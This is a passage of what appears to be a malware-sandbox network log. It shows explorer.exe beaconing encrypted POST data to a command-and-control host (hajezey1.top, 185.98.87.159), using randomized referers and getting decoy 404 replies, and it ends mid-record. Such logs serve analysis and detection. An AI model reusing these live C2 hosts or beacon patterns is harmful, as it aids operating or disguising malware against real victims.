Oct 29, 2021 20:10:56.728912115 CEST	10472	IN	Data Raw: 05 f1 6f 50 eb 40 14 3d 00 b0 da 59 ea 15 e8 3f e2 7f b1 cf bf 03 09 3d 00 07 01 84 0c 6e e8 3f 75 cd d0 98 3f b3 1b 3d 00 25 92 6b 19 c7 e8 3f 5a 45 4d 2d 27 5e 10 3d 00 10 44 54 1b 21 e9 3f 3a 5a c2 ca 6e 3d 1a 3d 00 b7 f5 30 1d 7c e9 3f 07 d0 Data Ascii: oP@=Y?=n?u?=%k?ZEM-'^=DT!?:Zn==0\|?O=*?m}I{=eP5?+}ZI=Q?^oc;<'?u/r<S?i1=q?/={ss?VV&=#k~?[<?vB<6#M?
Oct 29, 2021 20:10:56.780703068 CEST	10473	IN	Data Raw: 93 11 5c 25 ef 3f 66 2c ce f3 91 21 ef 3f ea b0 b8 25 bf 1d ef 3f 4e 0e 1f a4 e3 19 ef 3f 24 08 c4 6b ff 15 ef 3f 80 6f 61 79 12 12 ef 3f 2a 14 a8 c9 1c 0e ef 3f 9c b5 3f 59 1e 0a ef 3f cd f3 c6 24 17 06 ef 3f c2 3f d3 28 07 02 ef 3f ee cb f0 61 Data Ascii: \%?f,!?%?N?$k?oay?*??Y?$??(?a?9y?99R?%R?F?@I?j T?0<?2j?p~?,L?@_o?7?'?VG?D<xZu?`\@j?)]Gq`?LcU?JupJ?CY

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
37	192.168.2.5	49828	185.98.87.159	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 20:11:00.016216993 CEST	12183	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://pvxvmaqhni.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 229 Host: hajezey1.top
Oct 29, 2021 20:11:00.016238928 CEST	12184	OUT	Data Raw: 10 87 86 98 19 f8 a2 c6 ca 4d 77 3a 78 c2 e1 f3 47 63 de 44 d0 41 1a 9d c2 e7 dd 83 8f a1 e3 f2 10 b6 54 a7 11 1e ca 92 9a d9 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 84 de 8b 66 5d 02 c9 a1 c1 64 0d c5 c7 29 Data Ascii: Mw:xGcDATwmwu$f]d)$G)Z\k]0bXui)5{GL#%71Jez0wE)QYpk,j,wd+}t{7w@HWXcsMwUMGNQQ
Oct 29, 2021 20:11:00.098012924 CEST	12476	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 18:11:00 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
38	192.168.2.5	49829	185.98.87.159	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 20:11:00.217869043 CEST	12477	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://bhlsdp.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 354 Host: hajezey1.top
Oct 29, 2021 20:11:00.217878103 CEST	12477	OUT	Data Raw: 10 87 86 98 19 f8 a2 c6 ca 4d 77 3a 78 c2 e1 f3 47 63 de 44 d0 41 1a 9d c2 e7 dd 83 8f a1 e3 f2 10 b6 54 a7 11 1e ca 92 9a d9 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 85 de 88 66 5d 02 c8 a1 c1 64 44 83 8c 2b Data Ascii: Mw:xGcDATwmwu$f]dD+Lm*7&\U2Dy@kC"I,wjlW=S8wzsK"%)Z\_X(x&sQ15eyoxHM$i2D[-`dUQQ{S837@r$
Oct 29, 2021 20:11:00.294672012 CEST	12478	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 18:11:00 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
39	192.168.2.5	49830	185.98.87.159	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 20:11:00.504559040 CEST	12479	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://vexln.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 309 Host: hajezey1.top
Oct 29, 2021 20:11:00.505888939 CEST	12479	OUT	Data Raw: 10 87 86 98 19 f8 a2 c6 ca 4d 77 3a 78 c2 e1 f3 47 63 de 44 d0 41 1a 9d c2 e7 dd 83 8f a1 e3 f2 10 b6 54 a7 11 1e ca 92 9a d9 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 85 de 89 66 5d 02 c8 a1 c1 64 31 cd 8e 69 Data Ascii: Mw:xGcDATwmwu$f]d1i#Y7Ud+hG}lNF:/.D->6v.+O{_4&a/-;uzG$Jmn-z-m=hjF%qhvVt%o2#=*BbaHAC
Oct 29, 2021 20:11:00.586407900 CEST	12480	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 18:11:00 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.5	49827	162.159.133.233	443	C:\Users\user\AppData\Local\Temp\77DC.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
40	192.168.2.5	49831	185.98.87.159	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 20:11:00.732418060 CEST	12481	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ukjpg.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 189 Host: hajezey1.top
Oct 29, 2021 20:11:00.733066082 CEST	12481	OUT	Data Raw: 10 87 86 98 19 f8 a2 c6 ca 4d 77 3a 78 c2 e1 f3 47 63 de 44 d0 41 1a 9d c2 e7 dd 83 8f a1 e3 f2 10 b6 54 a7 11 1e ca 92 9a d9 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 85 de 86 66 5d 02 c8 a1 c1 64 3f c6 b1 19 Data Ascii: Mw:xGcDATwmwu$f]d?Kd>E0yBTV_-m 2Z72$#*yao!PqwJ&0`S\FK+7I`OeK
Oct 29, 2021 20:11:00.811194897 CEST	12482	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 18:11:00 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
41	192.168.2.5	49832	185.98.87.159	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 20:11:01.060580015 CEST	12483	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://oahqstcrl.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 113 Host: hajezey1.top
Oct 29, 2021 20:11:01.060601950 CEST	12483	OUT	Data Raw: 10 87 86 98 19 f8 a2 c6 ca 4d 77 3a 78 c2 e1 f3 47 63 de 44 d0 41 1a 9d c2 e7 dd 83 8f a1 e3 f2 10 b6 54 a7 11 1e ca 92 9a d9 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 85 de 87 66 5d 02 c8 a1 c1 64 5f d4 c7 1b Data Ascii: Mw:xGcDATwmwu$f]d_Hl$^gc\eMaSt>oV
Oct 29, 2021 20:11:01.135711908 CEST	12483	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 18:11:01 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
42	192.168.2.5	49833	185.98.87.159	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 20:11:01.283312082 CEST	12484	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://sowcs.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 312 Host: hajezey1.top
Oct 29, 2021 20:11:01.283427954 CEST	12485	OUT	Data Raw: 10 87 86 98 19 f8 a2 c6 ca 4d 77 3a 78 c2 e1 f3 47 63 de 44 d0 41 1a 9d c2 e7 dd 83 8f a1 e3 f2 10 b6 54 a7 11 1e ca 92 9a d9 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 85 de 84 66 5d 02 c8 a1 c1 64 46 91 dc 04 Data Ascii: Mw:xGcDATwmwu$f]dF~jgFcCQ9FB"\A{Gx`2HMd<;o,2YZ(Yq 8Pp_KC38F\kJ4j8cGZQET&kPGa*lo~9E
Oct 29, 2021 20:11:01.366837978 CEST	12485	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 18:11:01 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
43	192.168.2.5	49834	185.98.87.159	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 20:11:01.494781971 CEST	12486	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://yhtqeo.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 272 Host: hajezey1.top
Oct 29, 2021 20:11:01.494982958 CEST	12486	OUT	Data Raw: 10 87 86 98 19 f8 a2 c6 ca 4d 77 3a 78 c2 e1 f3 47 63 de 44 d0 41 1a 9d c2 e7 dd 83 8f a1 e3 f2 10 b6 54 a7 11 1e ca 92 9a d9 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 85 de 85 66 5d 02 c8 a1 c1 64 00 97 b9 36 Data Ascii: Mw:xGcDATwmwu$f]d6Tu1}`:NW:F+j;l8N.}R!,Y,AeymFu[{(:GX=3'u9IXa2o2<?\|*mtA^
Oct 29, 2021 20:11:01.573544025 CEST	12487	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 18:11:01 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
44	192.168.2.5	49835	185.98.87.159	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 20:11:01.683342934 CEST	12488	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://wepobp.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 352 Host: hajezey1.top
Oct 29, 2021 20:11:01.683357954 CEST	12488	OUT	Data Raw: 10 87 86 98 19 f8 a2 c6 ca 4d 77 3a 78 c2 e1 f3 47 63 de 44 d0 41 1a 9d c2 e7 dd 83 8f a1 e3 f2 10 b6 54 a7 11 1e ca 92 9a d9 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 85 de 82 66 5d 02 c8 a1 c1 64 20 dd a5 78 Data Ascii: Mw:xGcDATwmwu$f]d x=cJgINX='z-D`9-XNjG]HT/Kb<8G$R<B#zDKVJ*JrJsGQ?7~J+lN'- CwZa
Oct 29, 2021 20:11:01.762871027 CEST	12489	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 18:11:01 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 